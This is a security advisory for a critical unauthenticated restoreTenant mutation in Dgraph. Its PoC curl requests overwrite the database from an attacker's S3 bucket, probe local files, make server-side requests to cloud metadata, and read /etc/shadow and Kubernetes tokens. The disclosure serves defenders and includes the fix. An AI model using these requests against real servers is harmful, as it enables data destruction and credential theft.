PT-2026-29916 · Go · Github.Com/Dgraph-Io/Dgraph+2

Published

2026-04-02

·

Updated

2026-04-02

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

Authentication Bypass

Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.

curl -X POST http://dgraph-alpha:8080/admin -H "Content-Type: application/json" -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: "s3://attacker-bucket/evil-backup", accessKey: "AKIAIOSFODNN7EXAMPLE", secretKey: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", anonymous: false }, fromNamespace: 0 }) { code message } }" }'

Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}

The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } }

Live PoC Results (Dgraph v24.x Docker)

Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:

restore (HAS middleware) -> BLOCKED

$ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

restoreTenant (MISSING middleware) -> AUTH BYPASSED

$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
  • /etc/ (exists): "No backups with the specified backup ID" (directory scanned)
  • /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
  • /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)

PoC 2: Local Filesystem Probe via file:// Scheme

curl -X POST http://dgraph-alpha:8080/admin -H "Content-Type: application/json" -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: "file:///etc/" }, fromNamespace: 0 }) { code message } }" }'

Error response reveals whether /etc/ exists and its structure.

backup handler.go:130-132 creates a fileHandler for file:// URIs.

fileHandler.ListPaths at line 161-166 walks the local filesystem.

fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))

PoC 3: SSRF via S3 Endpoint

curl -X POST http://dgraph-alpha:8080/admin -H "Content-Type: application/json" -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: "s3://169.254.169.254/latest/meta-data/" }, fromNamespace: 0 }) { code message } }" }'

The Minio client at backup handler.go:257 connects to 169.254.169.254 as an S3 endpoint.

Error response may leak cloud metadata information.

PoC 4: Vault SSRF + Server File Path Read

curl -X POST http://dgraph-alpha:8080/admin -H "Content-Type: application/json" -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: "s3://attacker-bucket/backup", accessKey: "AKIA...", secretKey: "...", vaultAddr: "http://internal-service:8080", vaultRoleIDFile: "/var/run/secrets/kubernetes.io/serviceaccount/token", vaultSecretIDFile: "/etc/passwd", encryptionKeyFile: "/etc/shadow" }, fromNamespace: 0 }) { code message } }" }'

vaultAddr at online restore.go:484 triggers SSRF to internal-service:8080

vaultRoleIDFile at online restore.go:478-479 reads the K8s SA token from disk

encryptionKeyFile at online restore.go:475 reads /etc/shadow via BuildEncFlag

Fix

Add restoreTenant to adminMutationMWConfig:
"restoreTenant": gogMutMWs,
Koda Reef

Fix

Missing Authorization

Weakness Enumeration

CWE-862

Related Identifiers

GHSA-P5RH-VMHP-GVCW

Affected Products

Github.Com/Dgraph-Io/Dgraph
Github.Com/Dgraph-Io/Dgraph/V24
Github.Com/Dgraph-Io/Dgraph/V25